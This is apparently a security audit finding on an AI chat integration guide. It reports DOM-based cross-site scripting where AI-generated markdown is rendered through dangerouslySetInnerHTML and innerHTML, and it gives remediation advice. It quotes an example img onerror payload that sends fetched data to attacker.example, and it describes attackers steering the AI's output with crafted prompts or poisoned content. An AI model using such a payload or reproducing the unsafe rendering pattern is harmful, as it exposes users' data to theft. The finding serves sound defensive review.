T09 · Insecure Skill Coding Practices
Error
- Location
- USAGE_EXAMPLE.md:256
- Finding
- Unsanitized AI-Generated Content Rendered Through dangerouslySetInnerHTML<![CDATA[ ## Vulnerability Details **File Location**: `USAGE_EXAMPLE.md`, lines 256-259 **Vulnerability Type**: DOM-based cross-site scripting through unsafe HTML rendering **Risk Level**: High ### Vulnerable Code ```jsx <div className="markdown-content" dangerouslySetInnerHTML={{ __html: renderMarkdown(content) }} /> ``` The same integration guide also recommends equivalent unsafe HTML sinks in the standalone implementation: ```javascript document.querySelector('.markdown-content').innerHTML = renderMarkdown(content); if (data?.flights) { document.getElementById('flight-cards').innerHTML = renderFlightCards(data.flights); } ``` ### Technical Analysis The documented React integration passes AI-generated `content` through `renderMarkdown()` and then assigns the result to React's `dangerouslySetInnerHTML`. The standalone integration similarly assigns generated content to `innerHTML`. Markdown conversion does not inherently provide HTML sanitization. The example does not require `renderMarkdown()` or `renderFlightCards()` to remove raw HTML, event-handler attributes, dangerous URL schemes, SVG payloads, or other executable markup. If either function returns attacker-controlled HTML, the browser parses it in the application's origin. For example, where raw HTML is enabled by the Markdown renderer, malicious AI response content could include: ```html <img src="invalid" onerror="fetch('/sensitive-endpoint').then(r=>r.text()).then(x=>fetch('https://attacker.example/',{method:'POST',body:x}))"> ``` The precise payload available depends on the application's Content Security Policy, authentication model, and Markdown configuration. Nevertheless, directly placing untrusted rendered output into an HTML sink creates a DOM-XSS boundary unless strict sanitization is guaranteed before the assignment. ### Attack Path 1. An attacker submits a crafted chat prompt, poisons upstream content, or otherwise causes the AI response to contain malicious HTML embed ...[truncated 1261 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not use `dangerouslySetInnerHTML` for AI-generated content unless the final HTML has been sanitized. 2. Configure the Markdown renderer to disable raw HTML. 3. Sanitize rendered output with a maintained allowlist-based sanitizer such as DOMPurify: ```jsx import DOMPurify from 'dompurify'; const rendered = renderMarkdown(content); const sanitized = DOMPurify.sanitize(rendered, { USE_PROFILES: { html: true }, FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'], FORBID_ATTR: ['style'] }); <div className="markdown-content" dangerouslySetInnerHTML={{ __html: sanitized }} /> ``` 4. Render flight fields as React text nodes or assign them through `textContent` rather than constructing HTML strings. 5. Validate links and permit only required schemes such as `https:` and, where necessary, `mailto:`. 6. Deploy a restrictive Content Security Policy that avoids `unsafe-inline`, limits scripts to trusted origins, and blocks object embedding. 7. Add regression tests covering event attributes, SVG payloads, `javascript:` URLs, malformed tags, encoded payloads, and raw HTML embedded in Markdown. 8. Perform sanitization immediately before the final HTML sink rather than relying solely on upstream model behavior or prompt instructions. ]]>
